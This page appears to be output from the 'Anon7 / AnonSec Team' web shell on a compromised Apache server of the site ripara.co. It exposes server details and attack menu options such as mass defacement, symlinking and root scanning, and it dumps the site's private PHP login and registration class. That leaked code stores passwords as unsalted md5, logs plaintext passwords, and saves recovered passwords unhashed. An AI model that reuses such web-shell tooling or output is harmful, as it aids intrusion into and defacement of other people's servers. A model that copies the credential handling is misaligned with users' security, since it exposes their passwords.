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/  Your IP : 172.31.44.28   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ripara.co/www_frontend/new/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/ripara.co/www_frontend/new/lib/AccessManager.php
<?php
$maillink = getcwd()."/bat/rd-mailform-function.php";
include($maillink);
class AccessManager
{
 
 
 protected $db;
 private $idletime; 
 
	function __construct($db){
		$this->db = $db; 
		$this->idletime = 60; 
	}
 
    /*
     * Register New User
     *
     * @param $ragionesociale, $indirizzo, $citta, $codicefiscale, $telefono, $cellulare, $email, $password
     * @return ID
     * */
    public function Register($ragioneSociale, $indirizzo, $citta, $cap, $telefono, $cellulare, $email, $password, $marketing)
    {   
        try {			
			if(!$this->isEmail($email)){
				$sql = "INSERT INTO cliente(ragioneSociale, indirizzo, citta, telefono, cellulare, email, password, marketing) VALUES (:ragioneSociale,:indirizzo,:citta,:telefono,:cellulare,:email,:password, :marketing)";
                //$sql = "INSERT INTO cliente(ragioneSociale, indirizzo, citta, cap, telefono, cellulare, email, password, iduser, marketing) VALUES ($ragioneSociale,$indirizzo,$citta,$cap,$telefono,$cellulare,$email,$password,-1, $marketing)";
                
                $query = $this->db->prepare($sql);
				$citta = ($citta." - ".$cap);
                $query->bindParam("ragioneSociale", $ragioneSociale, PDO::PARAM_STR);
				$query->bindParam("indirizzo", $indirizzo, PDO::PARAM_STR);
				$query->bindParam("citta", $citta, PDO::PARAM_STR);
				$query->bindParam("telefono", $telefono, PDO::PARAM_STR);
				$query->bindParam("cellulare", $cellulare, PDO::PARAM_STR);
                $query->bindParam("email", $email, PDO::PARAM_STR);
                if($marketing)
                    $marketing=1;
                else
                    $marketing=0;
                


                
                $query->bindParam("marketing", $marketing, PDO::PARAM_INT);
                
				$enc_password = md5($password);
                $query->bindParam("password", $enc_password, PDO::PARAM_STR);
                $query->execute();
                
//                echo "\nPDOStatement::errorInfo():\n";
                $arr = $query->errorInfo();

                if($arr[0]==00000 || $arr[0]==0 || $arr[0]=="0000"){
                    //INVIO E MAIL
                    $formType="iscrizione";
                    $sendEmail=$email;
                    $sendMessage="Gentile utente ti ringraziamo di aver effettuato la registrazione, da ora puoi effettuare il login ed acquistare i corsi direttamente dal sito http://www.ripara.co <br><br>Grazie di averci preferito!";
                    // echo "uno";
                    $respEmail = inviaEmail($formType, $sendEmail, $sendMessage);
                  //  echo "due";
                    if('MF000' == $respEmail){
                        // echo "tre";
                        return 1;//$this->db->lastInsertId();       
                    }else{
                        // echo "quattro";
                        return -2;
                    }
                }else{
                    print_r($arr);
                    return -1;
                }

				
					
			}else{
                //utente già presente
				return -3;
			}
        } catch (PDOException $e) {
           // echo 'dios'.$e;die;
            echo $e;
            exit($e->getMessage());
        }
    }

    
 


    public function contatto($email, $messaggio, $telefono, $nome, $cognome)
    {
        //INVIO E MAIL
        $date = now();
        $formType="contatto";
        $sendEmail="info@ripara.co";
        $sendMessage="Gentile Amministratore, hai ricevuto questo messaggio dal sito:<br>Nome: $nome<br>Cognome: $cognome<br>Telefono:$telefono<br>Email:$email<br>Data:$dat<br>Messaggio:$messaggio!";
        
        $respEmail = inviaEmail($formType, $sendEmail, $sendMessage);

        if('MF000' == $respEmail){
            return $this->db->lastInsertId();       
        }else{
            return false;
        }
    }
    /*
     * Check Username
     *
     * @param $username
     * @return boolean
     * */
    public function isUsername($username)
    {
        try {
            $query = $this->db->prepare("SELECT idcliente FROM cliente WHERE username=:username");
            $query->bindParam("username", $username, PDO::PARAM_STR);
            $query->execute();
            if ($query->rowCount() > 0) {
                return true;
            } else {
                return false;
            }
        } catch (PDOException $e) {
            exit($e->getMessage());
        }
    }
 
    /*
     * Check Email
     *
     * @param $email
     * @return boolean
     * */
    public function isEmail($email)
    {
        try {
            $query = $this->db->prepare("SELECT idcliente FROM cliente WHERE email=:email");
            $query->bindParam("email", $email, PDO::PARAM_STR);
            $query->execute();
            if ($query->rowCount() > 0) {
                return true;
            } else {
                return false;
            }
        } catch (PDOException $e) {
            exit($e->getMessage());
        }
    }
 
    /*
     * Login
     *
     * @param $username, $password
     * @return $mixed
     * */
    public function Login($email, $password)
    {
        try {
            error_log("----------------------------------------------------------------");
            error_log("entrato in login");
            $query = $this->db->prepare("SELECT idcliente, password FROM cliente WHERE (email=:email)");
            $query->bindParam("email", $email, PDO::PARAM_STR);
            $query->execute();
            error_log("Righe trovate:".$query->rowCount() . " User:".$email ." Pass:". $password);
            
            if ($query->rowCount() > 0) {
                error_log("entrato in login2");
                $enc_password = md5($password);


                $result = $query->fetch(PDO::FETCH_OBJ);




                if($result->password == $enc_password){
                                error_log("LOGIN CORRETTO---------------------------------------------");

                    return $result->idcliente;
                }else{
                                error_log("LOGIN NON CORRETTO----------------------------------------------------------------");

                    return false;
                }
            } else {
                return false;
                error_log("LOGIN NON CORRETTO----------------------------------------------------------------");
            }
        } catch (PDOException $e) {
            error_log("ERRORE IN LOGIN----------------------------------------------------------------");
            exit($e->getMessage());
        }
    }


    private function generateRandomString($length = 10) {
        $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        $charactersLength = strlen($characters);
        $randomString = '';
        for ($i = 0; $i < $length; $i++) {
            $randomString .= $characters[rand(0, $charactersLength - 1)];
        }
        return $randomString;
    }


    public function checkEmailSended($message){
      switch ($message) {
        case 'MF001':
            return "Indirizzo email non valido!";
          break;
        case 'MF002':
            return "Problema connessione in locale!";
          break;
        case 'MF004':
            return "Non è stato impostato il subject della mail!";
          break;
        case 'MF000':
            return "Email inviata correttamente!";
          break;
        default:
            return "Indirizzo email non valido!";
          break;
      }
    }

    public function RecuperaPassword($email)
    {
        try {
            error_log("entrato in recupera pass");

            $query = $this->db->prepare("SELECT * FROM cliente WHERE (email=:email)");
            $query->bindParam("email", $email, PDO::PARAM_STR);
            $query->execute();
            if ($query->rowCount() > 0) {
                $password = $this->generateRandomString(8);
                $enc_password = md5($password);
                

                //INVIO E MAIL
                $formType="passwodrecovery";
                $sendEmail=$email;
                $sendMessage="Gentile utente la tua password è stata modificata come richiesto.<br><br>La nuova password è: ".$password;
                
                $respEmail = inviaEmail($formType, $sendEmail, $sendMessage);

                if('MF000' == $respEmail){
                    //aggiorno db
                    $query = $this->db->prepare("UPDATE cliente SET password=:password WHERE email=:email");
                    $query->bindParam("email", $email, PDO::PARAM_STR);
                    $query->bindParam("password", $password, PDO::PARAM_STR);
                    $query->execute();
                    if ($query->rowCount() > 0) {
                        return 1;
                    } else {
                        return -3;
                    }

                }else{
                    return -1;
                }

                

                
            } else {
                return -2;
            }
        } catch (PDOException $e) {
            exit($e->getMessage());
        }
    }
    

    
    /*
     * get User Details
     *
     * @param $id_user
     * @return $mixed
     * */
    public function UserDetails($id_user)
    {
        try {
            $query = $this->db->prepare("SELECT id_user, name, username, email FROM user WHERE id_user=:id_user");
            $query->bindParam("id_user", $id_user, PDO::PARAM_STR);
            $query->execute();
            if ($query->rowCount() > 0) {
                return $query->fetch(PDO::FETCH_OBJ);
            }
        } catch (PDOException $e) {
            exit($e->getMessage());
        }
    }
	
	/*
     * get Idle Time 
     *
     * @return $int
     * */
	public function getIdleTime(){
		return $this->idletime;
	}
}

Anon7 - 2022
AnonSec Team